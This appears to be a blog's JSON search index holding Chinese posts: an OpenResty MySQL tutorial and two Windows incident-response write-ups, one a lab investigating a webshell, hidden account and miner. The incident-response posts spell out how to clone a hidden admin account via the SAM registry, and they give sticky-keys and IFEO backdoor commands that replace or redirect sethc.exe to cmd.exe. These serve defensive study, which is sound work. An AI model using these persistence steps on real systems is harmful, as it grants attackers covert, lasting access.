weight=10;} ip_hash 12345upstream myproxy{ ip_hash; server 10.10.1.2:8080; server 10.10.1.3:8080;}","tags":[null,null,null,null,null,null],"categories":[null,null]},{"title":"四.OpenResty中使用mysql","path":"/wiki/API-Gateway/四. OpenResty中使用MySql.html","content":"总字符数: 4.03K 代码: 3.64K, 文本: 0.12K 预计阅读时间: 16 分钟 定义关闭mysql连接函数1234567-- 定义关闭mysql的连接local function close_db(db) if not db then return end db:close()end 创建实例1234567891011121314151617181920212223242526-- 引入mysql模块 local mysql = require("resty.mysql") -- 创建实例 local db,err = mysql:new() if not db then ngx.say("new mysql error:",error) return end -- 设置超时时间(毫秒) db:set_timeout(1000) -- 连接属性定义 local props = { host = "192.168.8.106", port = "3306", database = "test", user = "test", password = "123456", charset = "utf8" } local res,err,errno,sqlstate = db:connect(props) if not res then ngx.say("connect to mysql error:",err,",errno:",errno,",sqlstate:",sqlstate) return close_db(db) end 删除语句函数123456789ngx.say("--删除表user--","<br/>") -- 定义删除语句 local drop_table_sql = "drop table if exists user" res,err,errno,sqlstate=db:query(drop_table_sql) if not res then ngx.say("drop table error:",err,"errno:",errno,",sqlstate:",sqlstate) return close_db(db) end 创建语句函数12345678ngx.say("--创建表user--","<br/>") -- 定义创建语句 local create_table_sql = "create table user(id int primary key auto_increment, ch varchar(100))" res,err,errno,sqlstate=db:query(create_table_sql) if not res then ngx.say("create table error:",err,"errno:",errno,",sqlstate:",sqlstate) return close_db(db) end 插入语句函数123456789101112131415161718192021222324252627ngx.say("--插入数据user--","<br/>") local insert_sql = "insert into user(ch) values('hello')" res,err,errno,sqlstate=db:query(insert_sql) if not res then ngx.say("insert error:",err,",errno:",errno,",sqlstate:",sqlstate) return close_db(db) end res,err,errno,sqlstate=db:query(insert_sql) ngx.say("insert rows:",res.affected_rows,",id:",res.insert_id,"<br/>") -- res的返回值 对于新增/修改/删除会返回如下格式的响应: --[[ { insert id = 0, insert_id是在使用自增序列时产生的id server_status = 2, warning_count = 1, affected_rows = 32, affected_rows表示操作影响的行数 message =nil } -- 对于查询会返回如下格式的响应: { id = 1,ch = "hello"}, id = 2,ch = "hello2"} } --]] 更新语句函数123456789ngx.say("--更新表user--","<br/>") -- 定义更新语句 local update_table_sql = "update user set ch = 'hello2' where id ="..res.insert_id res,err,errno,sqlstate=db:query(update_table_sql) if not res then ngx.say("update table error:",err,"errno:",errno,",sqlstate:",sqlstate) return close_db(db) end ngx.say("update rows:",res.affected_rows,"<br/>") 查询语句函数12345678910111213141516171819202122232425262728293031323334ngx.say("--查询user--","<br/>") local select_sql = "select id, ch from user" res,err,errno,sqlstate=db:query(select_sql) if not res then ngx.say("select error:",err,"errno:",errno,",sqlstate:",sqlstate) return close_db(db) end for i, row in ipairs(res) do for name,value in pairs(row) do ngx.say("select row",i,":",name,"=",value,"<br/>") end end -- 参数查询 ngx.say("--查询user-根据ch参数--","<br/>") --防止sql注入 local ch_param = ngx.req.get_uri_args()["ch"] or '' --使用ngx.quote_sql _str防止sql注入 local query_sql = "select id,ch from user where ch = " .. ngx.quote_sql_str(ch_param) res,err,errno,sqlstate = db:query (query_sql) if not res then ngx.say("select error:",err,",errno:",errno,"salstate:",sqlstate) return close_db (db) end for i, row in ipairs (res) do for name,value in pairs (row) do ngx.say ("select row",i,":",name,"=",value,"<br/>") end end 最后使用close_db(db)关闭数据库 Nginx引入Lua12345678910111213141516http{ # 定义lua文件的路径 lua_package_path "/usr/local/openresty/nginx/lua?.lua;;"; server { listen 80; server_name localhost; charset utf-8; location / { default_type text/html; charset utf-8; # 引入lua文件 content_by_lua_file /usr/local/openresty/nginx/lua/mysql.lua; } } } MysqlSelect MysqlSelect1","tags":[null,null,null,null,null,null],"categories":[null,null]}] \ No newline at end of file +[{"title":"应急响应靶机训练-Web1","path":"/2024/07/07/69563a36/","content":"总字符数: 23.16K 代码: 7.40K, 文本: 3.64K 预计阅读时间: 48 分钟 背景小李在值守的过程中,发现有CPU占用飙升,出于胆子小,就立刻将服务器关机,并找来正在吃苕皮的hxd帮他分析,这是他的服务器系统,请你找出以下内容: 攻击者的shell密码:rebeyond 攻击者的IP地址:192.168.126.1 攻击者的隐藏账户名称: hack168$ 攻击者挖矿程序的矿池域名(仅域名):http://wakuang.zhigongshanfang.top 修复漏洞 靶机环境使用Vmware启动即可,如启动错误,请升级至Vmware17.5以上 靶机环境: Windows Server 2022 phpstudy(小皮面板) 相关账户密码: 用户:administrator 密码:Zgsf@admin.com 信息收集查看端口12345678910111213141516171819202122232425262728293031# 查看运行了哪些服务,有无外联端口netstat-ano# TCP 连接# 监听端口 (LISTENING)135端口:通常用于 Windows RPC(远程过程调用)服务,PID 为 884.445端口:用于 SMB(Server Message Block)协议,通常用于文件和打印机共享,PID 为 4.3389端口:用于 RDP(远程桌面协议),PID 为 1012.5357端口:通常用于 Web Services for Devices (WSDAPI),PID 为 4.5985端口:用于 WinRM (Windows Remote Management) over HTTP,PID 为 4.47001端口:通常用于 Windows 的自动发现服务,PID 为 4.49664-49671端口:这些是动态或私有端口,用于各种系统服务,PID 分别为 672, 512, 1132, 1656, 2084, 2428, 648, 2308.# 已建立连接 (ESTABLISHED)49809和49810端口:与 124.152.197.78 的 80 端口建立连接,PID 为 7512.49850和49851端口:与 40.126.35.80 和 119.167.147.35 的 443 端口建立连接,PID 为 3652.等待关闭连接 (TIME_WAIT)49802, 49808, 49849, 49853, 49855, 49856, 49858, 49859端口:这些连接正在等待关闭,PID 为 0.# UDP 连接# 监听端口123端口:用于 NTP(网络时间协议),PID 为 2860.500端口:用于 IPSec 的 ISAKMP(Internet Security Association and Key Management Protocol),PID 为 2300.3389端口:用于 RDP 的 UDP 通信,PID 为 1012.3702端口:用于 Web Services Discovery,PID 为 7032.4500端口:用于 NAT-T(Network Address Translation - Traversal),PID 为 2300.5353端口:用于 mDNS(Multicast DNS),PID 为 1764.5355端口:用于 LLMNR(Link-Local Multicast Name Resolution),PID 为 1764.58668和58669端口:动态端口,PID 为 7032.127.0.0.1:59524:本地回环地址上的通信,PID 为 2560.192.168.150.176:137和138端口:用于 NetBIOS 名称和数据报服务,PID 为 4. 查看服务123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123C:\\Users\\Administrator>tasklist /svc映像名称 PID 服务========================= ======== ============================================System Idle Process 0 暂缺System 4 暂缺Registry 100 暂缺smss.exe 300 暂缺csrss.exe 416 暂缺wininit.exe 512 暂缺csrss.exe 520 暂缺winlogon.exe 576 暂缺services.exe 648 暂缺lsass.exe 672 KeyIso, SamSssvchost.exe 768 BrokerInfrastructure, DcomLaunch, PlugPlay, Power, SystemEventsBrokerfontdrvhost.exe 784 暂缺fontdrvhost.exe 792 暂缺svchost.exe 884 RpcEptMapper, RpcSssvchost.exe 944 LSMsvchost.exe 1012 TermServicedwm.exe 380 暂缺svchost.exe 692 NcbServicesvchost.exe 936 lmhostssvchost.exe 352 TimeBrokerSvcsvchost.exe 1132 EventLogsvchost.exe 1140 CoreMessagingRegistrarsvchost.exe 1296 nsisvchost.exe 1308 gpsvcsvchost.exe 1336 ProfSvcsvchost.exe 1344 FontCachesvchost.exe 1380 EventSystemsvchost.exe 1396 UmRdpServicesvchost.exe 1412 Themessvchost.exe 1420 DispBrokerDesktopSvcsvchost.exe 1528 Dhcpsvchost.exe 1632 SENSsvchost.exe 1656 Schedulesvchost.exe 1764 Dnscachesvchost.exe 1772 Wcmsvcsvchost.exe 1856 NlaSvcsvchost.exe 1872 ShellHWDetectionsvchost.exe 1884 CertPropSvcsvchost.exe 1956 BFE, mpssvcsvchost.exe 1976 LanmanWorkstationsvchost.exe 1988 WinHttpAutoProxySvcsvchost.exe 2084 SessionEnvsvchost.exe 2100 netprofmsvchost.exe 2220 UserManagersvchost.exe 2300 IKEEXTsvchost.exe 2308 PolicyAgentspoolsv.exe 2428 Spoolersvchost.exe 2512 CryptSvcsvchost.exe 2524 DiagTracksvchost.exe 2560 iphlpsvcsvchost.exe 2608 LanmanServerphpStudyServer.exe 2624 phpStudySrvsvchost.exe 2640 SstpSvcsvchost.exe 2680 StateRepositorysvchost.exe 2688 SysMainsvchost.exe 2744 TrkWksVGAuthService.exe 2768 VGAuthServicevm3dservice.exe 2804 vm3dservicevmtoolsd.exe 2848 VMToolssvchost.exe 2860 W32TimeMsMpEng.exe 2868 WinDefendsvchost.exe 2884 Winmgmtsvchost.exe 2908 WinRMsvchost.exe 2940 WpnServicevm3dservice.exe 2592 暂缺svchost.exe 3356 RasManAggregatorHost.exe 3668 暂缺dllhost.exe 3696 COMSysAppWmiPrvSE.exe 4132 暂缺sihost.exe 4212 暂缺svchost.exe 4224 CDPUserSvc_37c8dsvchost.exe 4256 WpnUserService_37c8dtaskhostw.exe 4360 暂缺svchost.exe 4472 TokenBrokersvchost.exe 4540 TabletInputServicectfmon.exe 4628 暂缺svchost.exe 4668 AppXSvcsvchost.exe 4748 camsvcsvchost.exe 4792 CDPSvcNisSrv.exe 3616 WdNisSvcexplorer.exe 1092 暂缺ChsIME.exe 4588 暂缺svchost.exe 5180 wuauservmsdtc.exe 5188 MSDTCTextInputHost.exe 5500 暂缺StartMenuExperienceHost.e 5524 暂缺RuntimeBroker.exe 5700 暂缺SearchApp.exe 5944 暂缺RuntimeBroker.exe 6128 暂缺RuntimeBroker.exe 6308 暂缺svchost.exe 6384 LicenseManagervmtoolsd.exe 4376 暂缺WmiPrvSE.exe 5928 暂缺svchost.exe 1244 Appinfosvchost.exe 1408 fdPHostsvchost.exe 7032 FDResPubMicrosoftEdgeUpdate.exe 8060 暂缺MicrosoftEdgeUpdate.exe 8096 暂缺svchost.exe 7016 DPSsvchost.exe 6620 WdiSystemHosttaskhostw.exe 6960 暂缺svchost.exe 7308 PcaSvcsvchost.exe 6064 StorSvcsvchost.exe 7252 UALSVCMicrosoftEdgeUpdate.exe 5172 edgeupdatesvchost.exe 3084 cbdhsvc_37c8dsvchost.exe 7512 DoSvcsvchost.exe 7692 UsoSvcphpstudy_pro.exe 7880 暂缺svchost.exe 4504 ClipSVCsvchost.exe 3652 DsSvcsvchost.exe 1644 smphostWinSAT.exe 8088 暂缺conhost.exe 5480 暂缺smartscreen.exe 7368 暂缺cmd.exe 2776 暂缺conhost.exe 2280 暂缺tasklist.exe 2656 暂缺 查看账号win+r:lusrmgr.msc发现一个影子账户:hack168$或net localgroup administrators只能查看通过$符号隐藏的账户 在该用户下发现执行程序一个,提取出后上传到微步在线分析一下,由于此程序是模拟出来的恶意软件所以微步并判断出是否为恶意程序 以下反编译内容来自题解 在桌面处找到位置程序,运行后cpu飙升,判别为挖矿程序,分析该文件 该图标为pyinstaller打包通过Google识图也可以找到这是什么打包的,如何反编译. 使用pyinstxtractor进行反编译 pyinstxtractor需要3.8版本的Python运行 得到pyc文件 使用在线pyc反编译工具,得到源码 分析开机自启程序123456789101112HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunonceHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnceHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\policies\\Explorer\\RunHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce(ProfilePath)\\Start Menu\\Programs\\Startup 启动项msconfig 启动选项卡gpedit.msc 组策略编辑器 查看计划或定时任务123456C:\\Windows\\System32\\Tasks\\C:\\Windows\\SysWOW64\\Tasks\\C:\\Windows\\tasks\\schtaskstaskschd.msccompmgmt.msc Web应急响应开着PHPStudy那估计就会有web服务器,虽然背景中也说了,进入网站根目录,查找是否存在Webshell,或通过%UserProfile%\\Recent查找最近修改的文件记录 没有发现可疑文件,也可换其他工具,这里查找中间件日志文件快速浏览 相关中间件日志都要快速过一遍,在access.log中发现可疑路径192.168.126.1 - - [26/Feb/2024:22:46:23 +0800] "GET /content/plugins/tips/shell.php HTTP/1.1" 200 - 查看该文件内容,发现是个冰蝎马 密码为默认密码:rebeyond攻击IP为:192.168.126.1 继续查看日志寻找shell前后请求,发现了大量的POST请求同一页面并且状态码为302,猜测可能存在弱口令,联系运维人员确认是否为弱口令或者查看全流量设备 通过弱口令:admin 123456登录到后台查看CMS框架及版本号emlog pro2.2.0 搜索emlog pro2.2.0 历史漏洞得到/admin/plugin.php存在任意文件上传,并且和日志中的攻击路径吻合 系统应急响应通过eventvwr查看用户创建日志,发现是直接通过administrator管理员用户创建的影子账户.由于没用pcap包无法判断是否通过冰蝎马创建 powershell无异常 发现此用户通过RDP远程登陆了此机器 Windows事件ID-番外篇审核策略更改 此安全设置确定 OS 是否对尝试更改用户权限分 配策略、审核策略、帐户策略或信任策略的每 一个实例进行审核. 类别 子类别 默认状态 对应高级审核策略配置 审核策略更改 审核审核策略更改 成功 策略更改 审核身份验证策略更改 成功 策略更改 审核授权策略更改 无审核 策略更改 审核筛选平台策略更改 无审核 策略更改 审核 MPSSVC 规则级策略更改 无审核 策略更改 审核其他策略更改事件 无审核 策略更改 子类别 默认状态 事件ID 事件说明 审核审核策略更改 成功 4715 对象的审核策略 (SACL) 已更改. 成功 4719 系统审核策略已更改. 成功 4817 对象的审核设置已更改. 成功 4902 创建了每用户审核策略表. 成功 4904 已尝试注册安全事件源. 成功 4905 已尝试取消注册安全事件源. 成功 4906 CrashOnAuditFail 值已更改. 成功 4907 对象的审核设置已更改. 成功 4908 特殊组登录表已修改. 成功 4912 每用户审核策略已更改. 审核身份验证策略更改 成功 4713 Kerberos 策略已更改. 成功 4716 可信域信息已修改. 成功 4717 系统安全访问被授予一个帐户. 成功 4718 系统安全访问权限已从帐户中删除 成功 4739 域策略已更改. 成功 4864 检测到命名空间冲突. 成功 4865 添加了受信任的林信息条目. 成功 4866 删除了受信任的林信息条目. 成功 4867 受信任的林信息条目已修改. 审核登录事件 此安全设置确定 OS 是否对尝试登录此计算机 或从中注销的用户的每个实例进行审核. 类别 子类别 默认状态 对应高级审核策略配置 审核登录事件 审核账户锁定 成功 登录/注销 审核 IPsec 扩展模式 无审核 登录/注销 审核 IPsec 主模式 无审核 登录/注销 审核 IPsec 快速模式 无审核 登录/注销 审核注销 成功 登录/注销 审核登录 客户端:成功服务器:成功和失败 登录/注销 审核网络策略服务器 成功和失败 登录/注销 审核其他登录/注销事件 无审核 登录/注销 审核特别登录 成功 登录/注销 子类别 默认状态 事件ID 事件说明 审核账户锁定 成功 4625 帐户登录失败. 审核注销 成功 4634 帐户已注销. 审核注销 成功 4647 用户发起的注销. 审核登录 客户端PC: 成功服务器: 成功和失败 4624 帐户登录成功. 4625 帐户登录失败. 4648 尝试使用显式凭据登录. 4675 SID 被过滤. 审核网络策略服务器 成功和失败 网络策略服务器授予用户访问权限. 6273 网络策略服务器拒绝访问用户. 6274 网络策略服务器放弃了对用户的请求. 6275 网络策略服务器丢弃了用户的计费请求. 6276 网络策略服务器隔离了一个用户. 6277 网络策略服务器授予用户访问权限,但由于主机不符合定义的健康策略而使其处于试用状态. 6278 网络策略服务器授予用户完全访问权限,因为主机符合定义的健康策略. 6279 由于多次失败的身份验证尝试,网络策略服务器锁定了用户帐户. 6280 网络策略服务器解锁了用户帐户. 审核特别登录 成功 4964 已将特殊组分配给新登录 登录类型 描述 说明 2 交互式登录(Interactive) 用户在本地进行登录. 3 网络(Network) 最常见的情况就是连接到共享文件夹或共享打印机时. 4 批处理(Batch) 通常表明某计划任 务启动. 5 服务(Service) 每种服务都被配置 在某个特定的用户 账号下运行. 7 解锁(Unlock) 屏保解锁. 8 网络明文(NetworkCleartext) 登录的密码在网络 上是通过明文传输 的,如FTP. 9 新凭证(NewCredentials) 使用带/Netonly参数 的RUNAS命令运行一 个程序. 10 远程交互(RemoteInteractive) 通过终端服务、远程桌面或远程协助访问计算机. 11 缓存交互(CachedInteractive) 以一个域用户登录而又没有域控制器可用 地位和子状态码 描述 0xc0000064 用户名不存在 0xc000006a 用户名是正确的,但密码是错误的 0xc0000234 用户当前锁定 0xc0000072 帐户目前禁用 0xc000006f 用户试图登录天的外周或时间限制 0xc0000070 工作站的限制 0xc0000193 帐号过期 0xc0000071 过期的密码 0xc0000133 时钟之间的直流和其他电脑太不同步 0xc0000224 在下次登录用户需要更改密码 0xc0000225 显然一个缺陷在Windows和不是一个风险 0xc000015b 没有被授予该用户请求登录类型(又名登录 正确的)在这台机器 0xc000006d 似乎是由于系统问题和不安全 审核账户管理 此安全设置确定是否审核计算机上的每个帐户管理事件.帐户管理事件示例包括: 创建、更改或删除用户帐户或组. 重命名、禁用或启用用户帐户. 设置或更改密码. 类别 子类别 默认状态 对应本地审核策略 帐户管理 审核应用组程序管理 无审核 审核账户管理 审核计算机帐户管理 无审核 审核通讯组管理 无审核 审核其他账户管理事件 无审核 审核安全组管理 成功 审核用户账户管理 成功 子类别 默认状态 事件ID 事件 审核安全组管理 成功 4727 已创建启用安全性的全局组. 4728 一个成员被添加到启用安全的全局组中. 4729 成员已从启用安全的全局组中删除. 4730 已删除启用安全的全局组. 4731 已创建启用安全性的本地组. 4732 一个成员被添加到启用安全的本地组. 4733 成员已从启用安全的本地组中删除. 4734 已删除启用安全的本地组. 4735 已更改启用安全的本地组. 4737 已更改启用安全的全局组. 4754 已创建启用安全的通用组. 4755 已更改启用安全的通用组. 4756 一个成员被添加到启用安全的通用组. 4757 成员已从启用安全的通用组中删除. 4758 已删除启用安全的通用组. 4764 组的类型已更改. 审核用户账户管理 成功 4720 已创建用户帐户. 4722 已启用用户帐户. 4723 试图更改帐户的密码. 4724 已尝试重置帐户密码. 4725 用户帐户被禁用. 4726 用户帐户被删除. 4738 用户帐户已更改. 4740 用户帐户被锁定. 4765 SID 历史记录已添加到帐户 4766 尝试向帐户添加 SID 历史记录失败. 4767 用户帐户已解锁. 4780 ACL 是在作为管理员组成员的帐户上设置的. 4781 帐户名称已更改: 4794 已尝试设置目录服务还原模式. 5376 凭据管理器凭据已备份. 5377 凭据管理器凭据是从备份中恢复的. 远程登录事件当通过远程桌面协议(RDP)进行远程登录时,会在源主机和目的主机上生成一系列事件。以下是与RDP远程登录相关的重要事件ID及其含义,这些事件可以在Windows安全日志和远程连接日志中找到。 安全日志(Security.evtx) 事件ID 描述 重点说明 4624 账户成功登录 表明有账户成功通过RDP登录 4648 使用明文凭证尝试登录 可能表明凭证被窃取或滥用 4778 重新连接到一台Windows主机的会话 表明会话被重新连接 4779 断开到一台Windows主机的会话 表明会话被断开 远程连接日志应用程序和服务日志->Microsoft->Windows->TerminalServices->RemoteConnectionManager->Operational 事件ID 描述 重点说明 1149 用户认证成功 表明用户通过RDP认证成功 21 远程桌面服务:会话登录成功 表明RDP会话登录成功 24 远程桌面服务:会话已断开连接 表明RDP会话被断开 25 远程桌面服务:会话重新连接成功 表明RDP会话被重新连接 登录类型 登录类型 描述 重点说明 10 RemoteInteractive 专用于RDP登录 12 CachedRemoteInteractive 表明使用了缓存的RDP登录信息 隐藏账号-番外篇window 隐藏系统用户操作,CMD命令行下,建立了一个用户名为youzi$,密码为youzi$的简单隐藏账户,并且把该隐藏账户提升为了管理员权限. CMD命令行使用net user,看不到test$这个账号,但在控制面板和本地用户和组是可以显示此用户 克隆账号制作过程: “开始”→“运行”,输入regedit后回车,需要到HKEY_LOCAL_MACHINE\\SAM\\SAM,单机右建权限,给予administrator用户完全控制以及读取的权限,在后面打勾就行.然后关闭注册表编辑器,再次打开即可 来到注册表编辑器的HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names处,点击youzi$用户,得到在右边显示的键值中的”类型”一项显示为0x3F9,找到箭头所指目录. 找到administrator所对应的的项为000001F4,将00001F4的F值复制到000003F9的F值中,保存. 分别youzi$和000003F9导出到桌面,删除youzi$用户net user youzi$ /del 将刚才导出的两个后缀为.reg的注册表项导入注册表中.这样所谓的隐藏账户就创建好了. PS:不管你是在命令提示符下输入net user 或者在系统用户管理界面都是看不到test$这个账户的,只有在注册表中才能看得到 检测和清理方法:使用D盾_web查杀工具,使用克隆账号检测功能进行查看,可检测出隐藏、克隆账号.","tags":["应急响应","Windows"]},{"title":"应急响应之Windows","path":"/2024/07/04/b7b8d727/","content":"总字符数: 28.89K 代码: 6.84K, 文本: 5.58K 预计阅读时间: 54 分钟 当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解决方案与防范措施,为企业挽回或减少经济损失 常见的应急响应事件分类: web入侵:网页挂马、主页篡改、Webshell 系统入侵:病毒木马、勒索软件、远控后门 网络攻击:DDOS攻击、DNS劫持、ARP欺骗 工具and日志 0x01 入侵排查思路系统基本信息 msinfo32查看Windows信息 硬件信息 运行任务 服务 系统驱动程序 加载的模块 启动程序 systeminfo 主要用途简单了解信息 查找可疑目录及文件 12345678910# 检查方法:a. 查看用户目录,新建账号会在这个目录生成一个用户目录,查看是否有新建用户目录.# Window 2003:C:\\Documents and Settings# Window 2008 R2:C:\\Users\\b. 单击【开始】>【运行】,输入%UserProfile%\\Recent分析最近打开分析可疑文件.c. 在服务器各个目录,可根据文件夹内文件列表时间进行排序,查找可疑文件. 检查系统账号安全 查看服务器是否有弱口令,远程管理端口是否对公网开放. 123# 检查方法:据实际情况咨询相关服务器管理员.netstat -ano 查看服务器是否存在可疑账号、新增账号. 12345# 检查方法:lusrmgr.msc 查看是否有新增/可疑的账号net localgroup administratorswmic UserAccount get在管理员群组的(Administrators)里如有新增账户,请立即禁用或删除掉. 查看服务器是否存在隐藏账号、克隆账号. 123# 检查方法:a. 打开注册表,查看管理员对应键值.b. 使用D盾、HM查杀工具,集成了对克隆账号检测的功能. 结合日志,查看管理员登录时间、用户名是否存在异常. 1234# 检查方法:a. Win+R打开运行,输入"eventvwr.msc",回车运行,打开"事件查看器"b. 导出Windows日志--安全,利用LogParser进行分析LogParser.exe -i:EVT "SELECT TimeGenerated AS LoginTime, EXTRACT_TOKEN(Strings, 5, '|') AS username FROM C:\\Users\\Administrator\\Desktop\\Security.evtx WHERE EventID = 4624" wmic命令 1wmic useraccount get Name,SID 检查异常端口、进程 检查端口连接情况,是否有远程连接、可疑连接. 1234567# 检查方法:a. netstat-ano # 查看目前的网络连接,定位可疑的ESTABLISHEDb. 根据netstat定位出的pid,再通过tasklist命令进行进程定位tasklist | findstr "PID"# 注册表查看RDP端口.HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp 进程 1234567891011121314# 检查方法:a. 开始--运行--输入msinfo32依次点击"软件环境→正在运行任务"就可以查看到进程的详细信息,比如进程路径、进程ID、文件创建日期、启动时间等.b. 打开D盾查杀工具,进程查看,关注没有签名信息的进程.c. 通过微软官方提供的ProcessExplorer等工具进行排查.d. 查看可疑的进程及其子进程.可以通过观察以下内容:\t1. 没有签名验证信息的进程\t2. 没有描述信息的进程\t3. 进程的属主\t4. 进程的路径是否合法\t5. CPU或内存资源占用长时间过高的进程 小技巧: 123456789a. 查看端口对应的PID: netstat -ano | findstr "port"b. 查看进程对应的PID: 任务管理器--查看--选择列--PID或者 tasklist | findstr "PID"c. 查看进程对应的程序位置:\t1. 任务管理器--选择对应进程--右键打开文件位置 2. 运行输入wmic,cmd界面输入processd. tasklist /svc # 进程--PID--服务e. 查看Windows服务所对应的端口:%system%/system32/drivers/etc/services # 一般 %system% 就是C:\\Windows 检查启动项、计划任务、服务 什么是Windows启动项? 开机的时候系统会在前台或者后台运行的程序 什么是Windows启动项后门? Windows启动项后门也是攻击者常用的权限维持方式,大体上可以分为两种。 一是重启电脑时自启动后门程序实现权限维持; 二是点击某应用、服务、程序时自启动后门程序实现权限维持。 什么是计划任务? 一般是指在操作系统中设置定时任务 计划任务是系统的常见功能,利用任务计划功能,可以将任何脚本、程序或文档安排在某个最方便的时间运行。 什么是计划任务后门? 计划任务是经常被攻击者拿来利用的控制点,计划任务可以让目标主机在特定的时间执行我们预先准备的后门程序从而帮助我们进行权限维持。 什么是Windows服务? Windows 会话中可运行的可执行应用程序 在Windows系统中还有一个重要的机制,就是服务。通常大部分的服务都拥有SYSTEM权限,如果攻击者利用Windows的服务机制创建一个后门服务,那么这个后门将比一般的持久化方法更为强健。 检查服务器是否有异常的启动项 123456789101112131415161718192021222324252627# 检查方法:a. 登录服务器,单击【开始】>【所有程序】>【启动】,默认情况下此目录在是一个空目录,确认是否有非业务程序在该目录下.b. 单击开始菜单>【运行】,输入msconfig,查看是否存在命名异常的启动项目,是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件.c. 单击【开始】>【运行】,输入regedit,打开注册表,查看开机启动项是否正常,特别注意如下三个注册表项:HKEY_CURRENT_USER\\software\\micorsoft\\windows\\currentversion\\runHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Runonce检查右侧是否有启动异常的项目,如有请删除,并建议安装杀毒软件进行病毒查杀,清除残留病毒或木马.# 注册表目录含义HKEY_CLASSES_ROOT(HKCR) 此处存储的信息可确保在Windows资源管理器中执行时打开正确的程序.它还包含有关拖放规则、快捷方法和用户界面信息的更多详细信息HKEY_CLASSES_USER(HKCU) 包含当前登录系统的用户的配置信息,有用户的文件夹、屏幕颜色和控制面板设置HKEY_LOCAL_MACHINE(HKLM) 包含运行操作系统的计算机硬件特定信息,有系统上安装的驱动器列表及已安装硬件和应用程序的通用配置HKEY_USERS(HKU) 包含系统上所有用户配置文件的配置信息,有应用程序配置和可视配置HKEY_CLASSES_CONFIG(HCU) 存储有关系统当前配置的信息# 注册表操作命令1. reg add添加注册表2. reg delete删除注册表3. reg query返回注册表的子项下的项和下一层项的列表d. 利用安全软件查看启动项、开机时间管理等.e. 组策略,运行gpedit.msc.f. msconfig 图形化查看启动项 检查计划任务 12345# 检查方法:a. 单击【开始】>【设置】>【控制面板】>【任务计划】查看计划任务属性,便可以发现木马文件的路径.b. schtasksd. powershell输入Get-ScheduledTask 服务自启动 服务可以理解为运行在后台的进程,这些服务可以在计算机启动时自动启动,也可以暂停和重新启动,而且不显示任何用户界面 服务作为一种运行在后台的进程,是恶意软件常用的贮存方法 123# 检查方法:单击【开始】>【运行】,输入services.msc,注意服务状态和启动类型检查是否有异常服务. 检查shift粘贴键后门 什么是shift粘贴键后门? Shift粘滞键是当用户连按5次shift就会自动弹出的一个程序,其实不光是粘滞键,还有各种辅助功能,这类辅助功能都拥有一个特点就是当用户未进行登录时也可以触发。所以攻击者很有可能通过篡改这些辅助功能的指向程序来达到权限维持的目的。 (辅助功能镜像劫持是一样的原理) 辅助功能镜像劫持为了使电脑更易于使用和访问,Windows 添加了一些辅助功能。这些功能可以在用户登录之前以组合键启动。根据这个特征,一些恶意软件无需登录到系统,通过远程桌面协议就可以执行恶意代码。比如最常见的按5下shift出现的粘滞键Sethc.exe,还有Windows + U组合键时启动的utilman.exe程序还有: 12345屏幕键盘: C:\\Windows\\System32\\osk.exe放大镜: C:\\Windows\\System32\\Magnify.exe旁白: C:\\Windows\\System32\\Narrator.exe显示切换器 C:\\Windows\\System32\\DisplaySwitch.exe应用切换器: C:\\Windows\\System32\\AtBroker.exe 低版本在较早的 Windows 版本,只需要进行简单的二进制文件替换,比如经典的shift后门是将C:\\Windows\\System32\\sethc.exe替换为cmd.exe。仅限windows 2003、xp系统 12copy c:\\windows\\system32\\sethc.exe c:\\windows\\system32\\sethc.exe.bakcopy c:\\windows\\system32\\cmd.exe c:\\windows\\system32\\sethc.exe 高版本我们需要用到IFEO,即映像劫持 什么是IFEO所谓的IFEO就是Image File Execution Options,直译过来就是映像劫持。它又被称为“重定向劫持”(Redirection Hijack),它和“映像劫持”(Image Hijack,或IFEO Hijack)只是称呼不同,实际上都是一样的技术手段。白话来讲就是做某个操作的时候被拦截下来,干了别的事。 当我们双击运行程序时,系统会查询该IFEO注册表,如果发现存在和该程序名称完全相同的子键,就查询对应子健中包含的“debugger”键值名,如果该参数不为空,系统则会把 Debugger 参数里指定的程序文件名作为用户试图启动的程序执行请求来处理。这样成功执行的是遭到“劫持”的虚假程序。 命令行修改123# 需要管理员权限# 在以下注册表中的sethc.exe项添加一个Debugger字符值(REG_SZ),并且赋值为cmd.exe的执行路径为C:\\windows\\system32\\cmd.exe,如图:REG ADD "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe" /v Debugger /t REG_SZ /d "C:\\windows\\system32\\cmd.exe" 进程分析 Windows进程排查,主要是找到恶意进程的PID,程序路径有时还需要找到PPID(PID的父进程),及程序加载的DLL 12345678910111213141. 任务管理器2. tasklist命令\t1. tasklist /svc 查看进程服务\t2. tasklist /m 查看加载dll的恶意进程\t3. tasklist /m dll文件名 指定dll的调用情况\t4. tasklist过滤器 tasklist /fi 'pid eq 992' eq表示等于\t5. 可以先使用netstat -ano查看端口连接信息,然后使用tasklist | findstr进行排查3. powershell\t1. 用途在存在守护进程的进程,确认子父进程的关系\t2. Get-WmiObject Win32_Process | select Name,ProcessId,ParentProcessId,Path4. wmic命令\t1. 以csv格式列出所有信息 wmic process list full 